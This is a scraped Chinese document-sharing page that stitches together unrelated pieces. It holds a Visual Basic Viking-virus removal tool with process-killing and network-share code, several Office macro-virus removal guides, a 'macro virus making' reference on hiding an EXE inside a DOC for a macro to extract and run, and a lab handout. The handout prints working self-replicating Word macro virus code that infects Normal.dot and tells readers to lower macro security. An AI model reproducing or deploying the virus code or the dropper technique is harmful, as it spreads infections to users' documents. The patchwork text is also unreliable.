当前位置:文档之家› 最新Viking(维金)病毒专杀工具

最新Viking(维金)病毒专杀工具

最新Viking(维金)病毒专杀工具
最新Viking(维金)病毒专杀工具

最新Viking(维金)病毒专杀工具,纯VB编写

(声明:魏滔序原创,转贴请注明出处。)

Viking的肆虐让很多受害者忍无可忍,更可气的是专业软件公司提供的专杀工具竟然无法彻底清除。

无奈之余自己动手写了一个,请需要的朋友到这里下载:https://www.doczj.com/doc/3f11452798.html,

该工具可以有效解除被感染的exe中的病毒并还原exe文件,网上的大部分工具是直接删除exe 文件。另外,本工具还具有Viking免疫功能。

下载后直接运行即可查杀,如果查杀几次都有无法关闭的进程的,重新启动一下计算机继续查杀应该可以杀掉。直到病毒数为0时为止。

另外提供该工具中结束进程部分的代码,结束进程一般采用TerminateProcess函数,但是对于比较顽固的进程就要用非常规的手段来Kill了。

我的方法是,先提高本程序为Debug级别的权限。再用TerminateProcess关闭,如果失败就枚举该进程中的线程并用TerminateThread关闭。然后再用TerminateProcess结束进程。这样就基本上可以关闭99%的非系统进程了。

还有,对于被注入了病毒dll的进程,要先枚举进程中的模块并判断。然后决定是否Kill,Kill方法同上。

以下为进程、线程、模块相关的代码:

Private Declare Function CreateToolhelp32Snapshot Lib "kernel32" (ByVal lFlags As Long, ByVal lProcessID As Long) As Long

Private Declare Function Process32First Lib "kernel32" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long

Private Declare Function Process32Next Lib "kernel32" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long

Private Declare Function Thread32First Lib "KERNEL32.dll" (ByVal hSnapshot As Long, ByRef lpte As THREADENTRY32) As Long

Private Declare Function Thread32Next Lib "KERNEL32.dll" (ByVal hSnapshot As Long, ByRef lpte As THREADENTRY32) As Long

Private Declare Function Module32First Lib "KERNEL32.dll" (ByVal hSnapshot As Long, ByRef lppe As MODULEENTRY32) As Long

Private Declare Function Module32Next Lib "KERNEL32.dll" (ByVal hSnapshot As Long, ByRef lpme As MODULEENTRY32) As Long

Private Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long

Private Declare Function TerminateThread Lib "kernel32" (ByVal hThread As Long, ByVal dwExitCode As Long) As Long

Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long

Private Declare Function OpenThread Lib "KERNEL32.dll" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwThreadId As Long) As Long

Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long

Private Const TH32CS_SNAPPROCESS = &H2

Private Const TH32CS_SNAPTHREAD = &H4

Private Const TH32CS_SNAPMODULE As Long = &H8

Private Const PROCESS_TERMINATE As Long = (&H1)

Private Const MAX_PATH As Integer = 260

Private Type PROCESSENTRY32

dwsize As Long

cntusage As Long

th32ProcessID As Long

th32DefaultHeapID As Long

th32ModuleID As Long

cntThreads As Long

th32ParentProcessID As Long

pcPriClassBase As Long

dwFlags As Long

szExeFile As String * MAX_PATH

End Type

Private Type MODULEENTRY32 '模块dwsize As Long

th32ModuleID As Long

th32ProcessID As Long

GlblcntUsage As Long

ProccntUsage As Long

modBaseAddr As Byte

modBaseSize As Long

hModule As Long

szModule As String * 256

szExePath As String * 1024

End Type

Private Type THREADENTRY32 '线程dwsize As Long

cntusage As Long

th32threadID As Long

th32OwnerProcessID As Long

tpBasePri As Long

tpDeltaPri As Long

dwFlags As Long

End Type

Public Function KillThread(ByVal ProcessID As Long) As Boolean

Dim hThread As Long, r As Long, i As Long

Dim TList() As THREADENTRY32

TList = GetThreadList(ProcessID)

For i = 0 To UBound(TList)

With TList(i)

hThread = OpenThread(PROCESS_TERMINATE, False, .th32threadID) '获取进程句柄

If hThread <> 0 Then

r = TerminateThread(hThread, 0) '关闭进程

End If

End With

Next

KillThread = r <> 0

End Function

Public Function KillProcess(ByVal ProcessName As String, Optional ByVal bKillThread As Boolean) As Boolean

Dim hProcess As Long, r As Long

Dim PList() As PROCESSENTRY32

Dim Name As String, i As Long

PList = GetProcessList

For i = 0 To UBound(PList)

With PList(i)

Name = Left(.szExeFile, InStr(1, .szExeFile, vbNullChar) - 1)

DoEvents

Form1.lbState.Caption = "正在内存查毒:" & Name

r = InModule(.th32ProcessID, ProcessName)

If LCase(Trim(Name)) = LCase(Trim(ProcessName)) Or r Then

hProcess = OpenProcess(PROCESS_TERMINATE, False, .th32ProcessID) '获取进程句柄

If hProcess <> 0 Then

r = TerminateProcess(hProcess, 0) '关闭进程

If r Then

AddLog Name, "已结束进程"

Else

If bKillThread Then

If KillThread(.th32ProcessID) Then

AddLog Name, "已结束线程"

Else

AddLog Name, "线程结束失败"

End If

End If

r = TerminateProcess(hProcess, 0) '关闭进程

If r Then

AddLog Name, "已结束进程"

Else

AddLog Name, "进程结束失败"

End If

End If

Else

AddLog Name, "无法获得进程句柄"

End If

End If

End With

Next

End Function

Private Function GetThreadList(ByVal ProcessID As Long) As THREADENTRY32() Dim i As Long

Dim TList() As THREADENTRY32

Dim TE32 As THREADENTRY32

Dim hThreadSnap As Long

Dim TheLoop As Long

hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, ProcessID) TE32.dwsize = Len(TE32)

TheLoop = Thread32First(hThreadSnap, TE32)

While TheLoop <> 0

If TE32.th32OwnerProcessID = ProcessID Then

ReDim Preserve TList(i)

TerminateThread TE32.th32threadID, 0

TList(i) = TE32

i = i + 1

End If

TheLoop = Thread32Next(hThreadSnap, TE32)

Wend

GetThreadList = TList

End Function

Private Function GetProcessList() As PROCESSENTRY32()

Dim i As Long

Dim PList() As PROCESSENTRY32

Dim PE32 As PROCESSENTRY32

Dim hProcessSnap As Long

Dim TheLoop As Long

hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)

PE32.dwsize = Len(PE32)

TheLoop = Process32First(hProcessSnap, PE32)

While TheLoop <> 0

ReDim Preserve PList(i)

PList(i) = PE32

i = i + 1

TheLoop = Process32Next(hProcessSnap, PE32)

Wend

CloseHandle hProcessSnap

GetProcessList = PList

End Function

Private Function GetModuleList(ByVal ProcessID As Long) As MODULEENTRY32() Dim i As Long

Dim MList() As MODULEENTRY32

Dim ME32 As MODULEENTRY32

Dim hModuleSnap As Long

Dim TheLoop As Long

hModuleSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, ProcessID) ME32.dwsize = Len(ME32)

TheLoop = Module32First(hModuleSnap, ME32)

While TheLoop <> 0

ReDim Preserve MList(i)

MList(i) = ME32

i = i + 1

TheLoop = Module32Next(hModuleSnap, ME32)

Wend

GetModuleList = MList

End Function

Private Function InModule(ByVal ProcessID As Long, ByVal ModuleName As String) As Boolean

Dim i As Long

Dim MList() As MODULEENTRY32

Dim Name As String

On Error GoTo Err:

MList = GetModuleList(ProcessID)

For i = 0 To UBound(MList)

With MList(i)

Name = Left(.szModule, InStr(1, .szModule, vbNullChar) - 1)

If LCase(Name) = LCase(ModuleName) Then

InModule = True

Exit For

End If

End With

Next

Err:

End Function

'这个是显示的杀毒记录

Sub AddLog(txt1 As String, txt2 As String)

Dim Item As ListItem

Set Item = Form1.lv.ListItems.Add(, , txt1)

Item.SubItems(1) = txt2

End Sub

以下为设置本程序权限级别的代码,在程序加载前调用EnableDebugPrivilege即可:Private Type LARGE_INTEGER

lowpart As Long

highpart As Long

End Type

Private Const ANYSIZE_ARRAY As Long = 1

Private Const SE_PRIVILEGE_ENABLED As Long = &H2

Private Const TOKEN_ADJUST_PRIVILEGES As Long = &H20

Private Const TOKEN_QUERY As Long = &H8

Private Type LUID_AND_ATTRIBUTES

LUID As LARGE_INTEGER

Attributes As Long

End Type

Private Type TOKEN_PRIVILEGES

PrivilegeCount As Long

Privileges(ANYSIZE_ARRAY) As LUID_AND_ATTRIBUTES

End Type

Private Declare Function LookupPrivilegeValue Lib "advapi32.dll" Alias "LookupPrivilegeValueA" (ByVal lpSystemName As String, ByVal lpName As String, ByRef lpLuid As LARGE_INTEGER) As Long

Private Declare Function AdjustTokenPrivileges Lib "advapi32.dll" (ByVal TokenHandle As Long, ByVal DisableAllPrivileges As Long, ByRef NewState As TOKEN_PRIVILEGES, ByVal BufferLength As Long, ByRef PreviousState As Long, ByRef ReturnLength As Long) As Long Private Declare Function GetCurrentProcess Lib "KERNEL32.dll" () As Long

Private Declare Function GetCurrentProcessId Lib "KERNEL32.dll" () As Long

Private Declare Function CloseHandle Lib "KERNEL32.dll" (ByVal hObject As Long) As Long Private Declare Function OpenProcessToken Lib "advapi32.dll" (ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, ByRef TokenHandle As Long) As Long

Private Declare Function GetLastError Lib "KERNEL32.dll" () As Long

Function EnableDebugPrivilege() As Boolean

Dim TP As TOKEN_PRIVILEGES

Dim hToken As Long, r As Long, e As Long

r = OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES Or

TOKEN_QUERY, hToken)

e = GetLastError

' Err.Raise 6

If r And Not e Then

r = LookupPrivilegeValue(vbNullString, "SeDebugPrivilege", TP.Privileges(0).LUID)

e = GetLastError

If r And Not e Then

TP.PrivilegeCount = 1

TP.Privileges(0).Attributes = SE_PRIVILEGE_ENABLED

r = AdjustTokenPrivileges(hToken, False, TP, LenB(TP), 0, 0)

EnableDebugPrivilege = GetLastError = 0

End If

End If

Call CloseHandle(hToken)

End Function

(声明:魏滔序原创,转贴请注明出处。)

原文地址:

https://www.doczj.com/doc/3f11452798.html,/Modest/archive/2006/10/11/1330505.aspx?Pending=true 下面贴出本工具中用到的关闭本地计算机共享目录的代码(与其相对应的创建共享的代码也整理出来一同贴上),实际上用这个代码还可以关闭网络中其他计算机的共享目录,但要保证有足够的权限(至少可以通过网上邻居正常访问到对方计算机)。创建或删除本机的共享目录,用127.0.0.1就可以了。

代码如下:

Option Explicit

'共享类型

Private Const STYPE_ALL As Long = -1

Private Const STYPE_DISKTREE As Long = 0

Private Const STYPE_PRINTQ As Long = 1

Private Const STYPE_DEVICE As Long = 2

Private Const STYPE_IPC As Long = 3

Private Const STYPE_SPECIAL As Long = &H80000000

'共享权限

Private Const ACCESS_READ As Long = &H1

Private Const ACCESS_WRITE As Long = &H2

Private Const ACCESS_CREATE As Long = &H4

Private Const ACCESS_EXEC As Long = &H8

Private Const ACCESS_DELETE As Long = &H10

Private Const ACCESS_ATRIB As Long = &H20

Private Const ACCESS_PERM As Long = &H40

Private Const ACCESS_ALL As Long = ACCESS_READ Or ACCESS_WRITE Or

ACCESS_CREATE Or ACCESS_EXEC Or ACCESS_DELETE Or ACCESS_ATRIB Or

ACCESS_PERM

'共享信息

Private Type SHARE_INFO_2

shi2_netname As Long '共享名

shi2_type As Long '类型

shi2_remark As Long '备注

shi2_permissions As Long '权限

shi2_max_uses As Long '最大用户

shi2_current_uses As Long '

shi2_path As Long '路径

shi2_passwd As Long '密码

End Type

Private Declare Function NetShareAdd Lib "netapi32.dll" (ByVal ServerName As Long, ByVal level As Long, buf As Any, Parmerr As Long) As Long

Private Declare Function NetShareDel Lib "netapi32.dll" (ByVal ServerName As Long, ByVal ShareName As Long, ByVal dword As Long) As Long

'设置共享(返回0 为成功)

Public Function CreateShare(ByVal ServerName As String, ByVal SharePath As String, ByVal ShareName As String, Optional ByVal Password As String, Optional ByVal Remark As String) As Long

Dim pRemark As Long

Dim pPassword As Long

Dim SHI2 As SHARE_INFO_2

If Len(Remark) > 0 Then pRemark = StrPtr(Remark) '备注

If Len(Password) > 0 Then pPassword = StrPtr(Password) '密码

'初始化共享信息

With SHI2

.shi2_netname = StrPtr(ShareName)

.shi2_path = StrPtr(SharePath)

.shi2_remark = pRemark

.shi2_type = STYPE_DISKTREE

.shi2_permissions = ACCESS_ALL

.shi2_max_uses = -1

.shi2_passwd = pPassword

End With

'设置共享(用户名,共享类型,共享信息,)

CreateShare = NetShareAdd(StrPtr(ServerName), 2, SHI2, 0)

End Function

'删除共享(返回0 表示成功)

Public Function DeleteShare(ByVal ServerName As String, ByVal ShareName As String) As Long

DeleteShare = NetShareDel(StrPtr(ServerName), StrPtr(ShareName), 0)

End Function

最后声明一下:不得请将本代码用到任何能够给别人造成任何损失的场合。

OFFICE宏病毒彻底清除方法

办公室OFFICE宏病毒彻底清除方法最近办公室OFFICE宏病毒泛滥了,整个文件服务器上到处都是宏病毒,搞的办公室大家的电脑上都中了宏病毒,很是苦恼。相信有很多同仁也深有同感! 前期,杀毒软件360安全卫士、360杀毒、金山毒霸、宏病毒专杀都试了,百般无奈,自己查询了些资料,想出来一条好办法。 治病还是找根源,office宏病毒依赖于VBA插件,VBA百科:Visual Basic forApplications (VBA)是一种Visual Basic的一种宏语言,主要能用来扩展Windows 的应用程式功能,特别是Microsoft Office 软件。也可说是一种应用程式视觉化的Basic Scrip t 1994年发行的Excel 5.0版本中,即具备了VBA的宏功能。 所以我们在OFFCIE2OO安装文件中去掉VBA插件支持即可。 具体操作方法: 1 .打开开始——设置——控制面板,找到添加和删除程序,双击打开。 2.在添加和删除程序界面里,选择更改和删除程序,在程序目录中找到Microsoft office Professional Edition 2003 ,点击更改。 3?在弹出的OFFICE安装界面里,选择添加和删除功能,点击下一步。 4. 在复选框选择应用程序的高级自定义前面打勾。点击下一步。 5. 找到OFFICE共享功能。点+号展开详细子项。找到Visual Basic forApplications,点击前面▼,选择 X 不安装即可。 6. 点击更新,等待OFFICE S新完成,提示Microsoft office 2003已被成功的更新。点击确定就OK了。

office宏病毒的解决方法

最近公司内宏病毒泛滥,尤其是WORD、EXCEL文件中的宏病毒在公司办公电脑上互相感染,影响了办公效率,给我们的日常办公造成了困扰。 经过测试,现在找到了一个比较有效的远离宏病毒的方法,即“删除OFFICE中的VBA”,操作步骤如下: 1、点开始—>控制面板->打开“添加删除程序“并找到“Microsoft office professional Edition2003” 2、单击按钮,出现OFFICE安装界面。

3、选择“添加或删除功能”,然后单击“下一步”。 4、在“选择应用程序的高级自定义”前打上勾,并单击“下一步”。

5、选择office共享功能下的“Visual Basic for Applications”项,下拉它前面的三角,选择“不安装”。此时它的前面就变成了一个红叉号,然后单击“更新”按钮。 7、显示出“Microsoft office 2003已被成功地更新”,单击“确定”

8、提示“重新启动计算机后,生效……”,单击按钮“是”,重新启动计算机,Office中的VBA已删除。 9、分别打开WORD、EXCEL,选择菜单栏中的“工具”-->宏-->安全性 选择安全级为“非常高”。

可靠发行商下面的“信任所有安装的加载项和模板”、“信任对于Visual Basic 项目的访问”这两项都不要选中。 (备注:第9项有的电脑不需要设置。) 删除了VBA后新建的文件,不会含有宏病毒了,但是原来的文件中有可能含有宏病毒。原文件的除毒方法: 1、打开文件时,如果提示“此工作簿已丢失了其VBA项目……”并且文件的标题上方显示着“只读” 2、点文件“另存为”

宏病毒制作参考

-- Word宏病毒制作,传播,防范 EXE变DOC的方法 其实这种转换并不是文件格式上的变化,只不过是把一个exe文件接在一个doc文件的末尾而已,这个doc 文件当然就不是不同word的文档啦,该文档中包含了宏语句,能在 运行的时候把接在自己文件末尾的exe文件数据读取出来并运行,就 造成一种假象,好象文档打开时就运行了exe文件似的.(和文件捆绑器的原理很象啊!) 熟悉vb的朋友都知道,word的宏是使用vba来编写的,具体语法和vb一样,但有些方法vb中没有,如宏病毒 就是利用宏复制语句来达到感染的目的.和vb一样,我们可以在编写宏的时候调用windows api!!下面我们来介绍一下我们编写这个宏需要用到的api函数: 1)createfile 用于打开文件,该函数vb的声明如下: declare function createfile lib "kernel32" alias "createfilea" (byval lpfilename as string, byval dwdesiredaccess as long, byval dwsharemode as long, byval lpsecurityattributes as long, byval dwcreationdistribution as long, byval dwflagsandattributes as long, byval htemplate as long) as long

2)closehandle 用于关闭被打开文件的句柄,该函数vb的声明如下: declare function closehandle lib "kernel32" (byval hobject as long) as long 3)readfile 用于从被打开文件中读取数据,该函数vb的声明如下: declare function readfile lib "kernel32" (byval hfile as long, lpbuffer as byte, byval dwnumberofbytestoread as long, lpnumberofbytesread as long, byval lpoverlapped as long) as long 4)writefile 用于把读取出的数据写入文件,该函数vb的声明如下: declare function writefile lib "kernel32" (byval hfile as long, lpbuffer as byte, byval dwnumberofbytestowrite as long, lpnumberofbyteswritten as long, byval lpoverlapped as long) as long 5)setfileponiter移动文件指针,该函数vb的声明如下: declare function setfilepointer lib "kernel32" (byval hfile as long, byval ldistancetomove as long, byval lpdistancetomovehigh as long, byval dwmovemethod as long) as long 6)下面是以上函数的参数声明 public const generic_read as long = &h80000000 public const generic_write as long = &h40000000 public const file_share_read as long = 1 public const file_share_write as long = 2 public const create_new as long = 1

关于Word宏病毒的处理方法

关于Word宏病毒的处理方法 一、W97M.Lexar.B系列病毒现象: 1、感染后的电脑,在保存Word文档时会弹出另存为对话框 2、或提示在没有启用宏的文档中无法保存文件。 3、或提示文档存在二义性。 4、或发邮件时被退回,或收不到邮件。 5、导致OA编辑正文保存时出错、或保存不了正文、或无法盖章。 二、处理方法(必须严格遵守步骤处理): 1、彻底关闭360杀毒。 2、删除“C:\Documents and Settings\(当前用户名)\Application Data\Mi crosoft\Templates”里面的模板文件。 3、下载最新的360杀毒软件:https://www.doczj.com/doc/3f11452798.html,/indexbeta.html,安装并启动 OFFICE病毒免疫。 三、具体处理步骤: 1、关闭所有OFFICE文件。 2、显示隐藏的操作系统保护文件

第一步:打开C盘选择“组织”,点击“文件夹和搜索选项”

第二步:将隐藏文件选项按上图设置,确定 第三步:在C盘找到“Documents and Settings”文件夹

3、解除文件夹访问权限 a)默认情况下“Documents and Settings”不可访问,需解除其访问权 限 b)解除步骤: 第一步:右击“Documents and Settings”文件夹,选择属性,点击上图“高级” 按钮

第二步:打开高级安全设置选项卡,点击更改权限

第三步:打开“更改高级权限设置”卡,选择图中的“拒绝”项,删除,确定 4、进入文件夹 逐级进入“C:\Documents and Settings\(当前用户名)\Application Data \Microsoft\Templates”文件夹,如遇到没有权限的文件夹则参照“3.3解除文件股权访问权限方法”解除权限。 5、删除文件夹内的所有文件 文件删除后病毒即可删除。 6、启动新下载的360杀毒,下次打开有毒的文件时将会自动杀毒。

Word宏病毒讲课稿

Word宏病毒 1.实验目的(后果自负) Word宏是指能组织到一起为独立命令使用的一系列Word指令,它能使日常工作变得容易。本实验演示了宏的编写,通过两个简单的宏病毒示例,说明宏的原理及其安全漏洞和缺陷,理解宏病毒的作用机制,从而加强对宏病毒的认识,提高防范意识。 2.实验所需条件和环境 硬件设备:局域网,终端PC机。 系统软件:Windows系列操作系统 支撑软件:Word 2003 软件设置:关闭杀毒软;打开Word 2003,在工具→宏→安全性中,将安全级别设置为低,在可靠发行商选项卡中,选择信任任何所有安装的加载项和模板,选择信任visual basic项目的访问 实验环境配置如下图所示: 受感染终端 受感染 Word文档 被感染终端宏病毒传播示意图 3.实验内容和分析 为了保证该实验不至于造成较大的破坏性,进行实验感染后,被感染终端不要打开过

多的word文档,否则清除比较麻烦(对每个打开过的文档都要清除)。 3.1. 例1 自我复制,感染word公用模板和当前文档 代码如下: 'Micro-Virus Sub Document_Open() On Error Resume Next Application.DisplayStatusBar = False Options.SaveNormalPrompt = False Ourcode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 100) Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule If ThisDocument = NormalTemplate Then Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule End If With Host If .Lines(1.1) <> "'Micro-Virus" Then .DeleteLines 1, .CountOfLines .InsertLines 1, Ourcode .ReplaceLine 2, "Sub Document_Close()" If ThisDocument = nomaltemplate Then .ReplaceLine 2, "Sub Document_Open()" ActiveDocument.SaveAs ActiveDocument.FullName End If End If End With MsgBox "MicroVirus by Content Security Lab" End Sub 打开一个word文档,然后按Alt+F11调用宏编写窗口(工具→宏→Visual Basic→宏编辑器),在左侧的project—>Microsoft Word对象→ThisDocument中输入以上代码,保存,此时当前word文档就含有宏病毒,只要下次打开这个word文档,就会执行以上代码,并将自身复制到Normal.dot(word文档的公共模板)和当前文档的ThisDocument中,同时改变函数名(模板中为Document_Close,当前文档为Document_Open),此时所有的word文档打开和关闭时,都将运行以上的病毒代码,可以加入适当的恶意代码,影响word的正常使用,本例中只是简单的跳出一个提示框。 3.1.1.代码解释 以上代码的基本执行流程如下: 1)进行必要的自我保护 Application.DisplayStatusBar = False Options.SaveNormalPrompt = False 高明的病毒编写者其自我保护将做得非常好,可以使word的一些工具栏失效,例如将

OFFICE宏病毒彻底清除方法

办公室OFFICE宏病毒彻底清除方法 最近办公室OFFICE宏病毒泛滥了,整个文件服务器上到处都是宏病毒,搞的办公室大家的电脑上都中了宏病毒,很是苦恼。相信有很多同仁也深有同感! 前期,杀毒软件360安全卫士、360杀毒、金山毒霸、宏病毒专杀都试了,百般无奈,自己查询了些资料,想出来一条好办法。 治病还是找根源,office宏病毒依赖于VBA插件,VBA百科:Visual Basic for Applications(VBA)是一种Visual Basic的一种宏语言,主要能用来扩展Windows 的应用程式功能,特别是Microsoft Office软件。也可说是一种应用程式视觉化的Basic Script。1994年发行的Excel 5.0版本中,即具备了VBA的宏功能。 所以我们在OFFCIE2003安装文件中去掉VBA插件支持即可。 具体操作方法: 1.打开开始——设置——控制面板,找到添加和删除程序,双击打开。 2.在添加和删除程序界面里,选择更改和删除程序,在程序目录中找到Microsoft office Professional Edition 2003 ,点击更改。 3.在弹出的OFFICE安装界面里,选择添加和删除功能,点击下一步。 4.在复选框选择应用程序的高级自定义前面打勾。点击下一步。 5.找到OFFICE 共享功能。点+号展开详细子项。找到 Visual Basic for Applications ,点击前面▼,选择 X不安装即可。 6.点击更新,等待OFFICE更新完成,提示 Microsoft office 2003 已被成功的更新。点击确定就OK了。 做完后,我们来检查一下效果,打开一个EXECL文件,你会看到工具——宏——宏为灰色了。这样即可避免OFFICE宏病毒的传播了。 以此方法,在所有电脑上更新OFFICE后,再利用杀毒软件查一下服务器和办公室电脑,即可有效的查杀宏病毒。方法虽然有点麻烦,但是还是很管用的! 2013-1-4

东华大学计算机病毒课实验六宏病毒实验报告

计算机病毒实验报告 姓名: 学号: 老师: 日期:

一. 实验目的 Word宏是指能组织到一起为独立命令使用的一系列Word指令,它能使日常工作变得容易。本实验演示了宏的编写,通过两个简单的宏病毒示例,说明宏的原理及其安全漏洞和缺陷,理解宏病毒的作用机制,从而加强对宏病毒的认识,提高防范意识。 二. 实验内容 1. macro virus中的内容 2. 信安实验平台--->计算机病毒篇---->计算机宏病毒 3. 结合杀毒软件如诺顿、卡巴斯基等,观察病毒查杀现象 三. 实验环境 1. macro virus 硬件设备:局域网,终端PC机。 系统软件:Windows系列操作系统 支撑软件:Word 2003 软件设置:关闭杀毒软;打开Word 2003,在工具→宏→安全性中,将安全级别设置为低,在可靠发行商选项卡中,选择信任任何所有安装的加载项和模板,选择信任visual basic项目的访问. 实验环境配置如下图所示:

受感染终端 受感染Word 文档 被感染终端 2.计算机宏病毒 硬件设备:部署 WIN2003 系统的PC 机一台 软件工具:Office word2007

四.实验步骤及截图 1.自我复制,感染word公用模板和当前文档 打开一个word文档,然后按Alt+F11调用宏编写窗口(工具宏Visual Basic宏编辑器),在左侧的project—>Microsoft Word 对象ThisDocument中输入以上代码,保存,此时当前word文档就含有宏病毒 只要下次打开这个word文档,就会执行以上代码,并将自身复制到Normal.dot(word文档的公共模板)和当前文档的ThisDocument 中,同时改变函数名(模板中为Document_Close,当前文档为Document_Open),此时所有的word文档打开和关闭时,都将运行以上的病毒代码,可以加入适当的恶意代码,影响word的正常使用,本例中只是简单的跳出一个提示框。

《计算机病毒》宏病毒的基本知识

宏病毒的基本知识王宇航09283020 宏病毒 一、宏病毒的基本知识 宏病毒是一种寄存在文档或模板的宏中的计算机病毒。一旦打开这样的文档,其中的宏就会被执行,于是宏病毒就会被激活,转移到计算机上,并驻留在Normal模板上。从此以后,所有自动保存的文档都会“感染”上这种宏病毒,而且如果其他用户打开了感染病毒的文档,宏病毒又会转移到他的计算机上。 运行环境:microsoft office word 特点:宏病毒是针对微软公司的字处理软件Word编写的一种病毒。微软公司的字处理软件是最为流行的编辑软件,并且跨越了多种系统平台,宏病毒充分利用了这一点得到恣意传播。宏病毒作为一种新型病毒有其特点与共性。 1.传播极快 Word宏病毒通过.DOC文档及.DOT模板进行自我复制及传播,而计算机文档是交流最广的文件类型。人们大多重视保护自己计算机的引导部分和可执行文件不被病毒感染 宏病毒,而对外来的文档文件基本是直接浏览使用,这给Word宏病毒传播带来很多便利。特别是Internet网络的普及,Email 的大量应用更为Word宏病毒传播铺平道路。根据国外较保守的统计,宏病毒的感染率高达40%以上,即在现实生活中每发现100个病毒,其中就有40多个宏病毒,而国际上普通病毒种类已达12000多种。

2.制作、变种方便 以往病毒是以二进制的计算机机器码形式出现,而宏病毒则是以人们容易阅读的源代码宏语言WordBasic形式出现,所以编写和修改宏病毒比以往病毒更容易。世界上的宏病毒原型己有几十种,其变种与日俱增,追究其原因还是Word的开放性所致。现在的Word 病毒都是用WordBasic语言所写成,大部分Word病毒宏并没有使用Word提供的Execute-Only处理函数处理,它们仍处于可打开阅读修改状态。所有用户在Word工具的宏菜单中很方便就可以看到这种宏病毒的全部面目。当然会有“不法之徒”利用掌握的Basic语句简单知识把其中病毒激活条件和破坏条件加以改变,立即就生产出了一种新的宏病毒,甚至比原病毒的危害更加严重。 3.破坏可能性极大 鉴于宏病毒用WordBasic语言编写,WordBasic语言提供了许多系统级底层调用,如直接使用DOS系统命令,调用WindowsAPI,调用DDE或DLL等。这些操作均可能对系统直接构成威胁,而Word 在指令安全性、完整性上检测能力很弱,破坏系统的指令很容易被执行。宏病毒Nuclear就是破坏操作系统的典型一例。 4.多平台交叉感染 宏病毒冲破了以往病毒在单一平台上传播的局限,当WORDJXCEL这类著名应用软件在不同平台(如Windows、Windo_wsNT、OS/2和MACINTOSH等)上运行时,会被宏病毒交叉感染。 二、作用机制

Word宏病毒实验

Word宏病毒实验 1. 实验目的 Word宏是指能组织到一起为独立命令使用的一系列Word指令,它能使日常工作变得容易。本实验演示了宏的编写,通过两个简单的宏病毒示例,说明宏的原理及其安全漏洞和缺陷,理解宏病毒的作用机制,从而加强对宏病毒的认识,提高防范意识。 2. 实验所需条件和环境 硬件设备:局域网,终端PC机。 系统软件:Windows系列操作系统 支撑软件:Word 2003 软件设置:关闭杀毒软;打开Word 2003,在工具,宏,安全性中,将安全级别设置为低,在可靠发行商选项卡中,选择信任任何所有安装的加载项和模板,选择信任visual basic项目的访问 实验环境配置如下图所示: 受感染 Word文档 受感染终端被感染终端 宏病毒传播示意图 3. 实验内容和分析 为了保证该实验不至于造成较大的破坏性,进行实验感染后,被感染终端不要打开过多 的word文档,否则清除比较麻烦(对每个打开过的文档都要清除)。 3.1. 例1 自我复制,感染word公用模板和当前文档代码如下:

'Micro-Virus Sub Document_Open() On Error Resume Next Application.DisplayStatusBar = False Options.SaveNormalPrompt = False Ourcode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 100) Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule If ThisDocument = NormalTemplate Then Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule End If With Host If .Lines(1.1) <> "'Micro-Virus" Then .DeleteLines 1, .CountOfLines .InsertLines 1, Ourcode .ReplaceLine 2, "Sub Document_Close()" If ThisDocument = nomaltemplate Then .ReplaceLine 2, "Sub Document_Open()" ActiveDocument.SaveAs ActiveDocument.FullName End If End If End With MsgBox "MicroVirus by Content Security Lab" End Sub 打开一个word文档,然后按Alt+F11调用宏编写窗口(工具,宏,Visual Basic,宏编辑器),在左侧的project—>Microsoft Word对象,ThisDocument中输入以上

最新整理word出现宏病毒安全警告怎么办

w o r d出现宏病毒安全警告怎么办 电脑病毒看不见,却无处不在,有时防护措施不够或者不当操作都会导致病毒入侵。我们在办公学习的时候经常会用w o r d,当我们在编辑一些重要的w o r d文档时特别是机密文档,我们就必须给w o r d文档文件进行 加密来保障安全,那么w o r d出现宏病毒安全警告怎么办?怎样用编码格式进行加密?下面小编就为大家介绍 一下 方法/步骤 1、在w o r d文档中用宏进行保护文件并不复杂。在菜单栏的上面找到工具选项,并找到在下拉菜单底部位置的宏选项。 2、单击第三个选项中的宏安全性,打开宏设置界面,进行宏相关设置的编辑。 3、这样就完成了宏安全性的查看。但是不是要说宏如何加密吗?下面就来讲解宏怎样加密文档。 4、返回刚才的菜单中,找到宏选项,并且单击进入宏指令编辑模式。 5、在下拉选框中输入宏的名称,在宏的位置找到所有的活动文档,并且选择创建,就可以完成宏的创建。

但是这还没完,还要编辑宏。 6、在打开的代码编辑界面中,在e n d s u b的上面插入索要加密的指令代码,让宏在w o r d运行时执行这些 代码,起到保护作用。 7、在网上可以找到一些可用的加密代码,因为比较复杂这里就不做说明。英文点号可以起到快捷输入的作用。在e n d s u b之后写代码是没有用处的。 8、输入完成后,在左上角找到保存n o r m a l菜单项,就可以对w o r d文档进行加密啦! 9、千万不要忘记密码,也就是代码快结束时 P a s s w o r d=x x x x部分,这非常重要哦! 10、加密完成的效果就是这样。是不是很有效果并且很有成就感呢? 相关阅读:20**1月,英特尔处理器中曝M e l t d o w n(熔断)和S p e c t r e(幽灵)两大新型漏洞,包括A M D、A R M、英特尔系统和处理器在内,几乎近20**发售的所有设备都受到影响,受影响的设备包括手机、电脑、服务器以及云计算产品。这些漏洞允许恶意程序从其它程序的内存空间中窃取信息,这意味着包括密码、帐户信息、加密密钥乃至其它一切在理论上可存储于内存中的信息均

宏病毒实验报告word精品

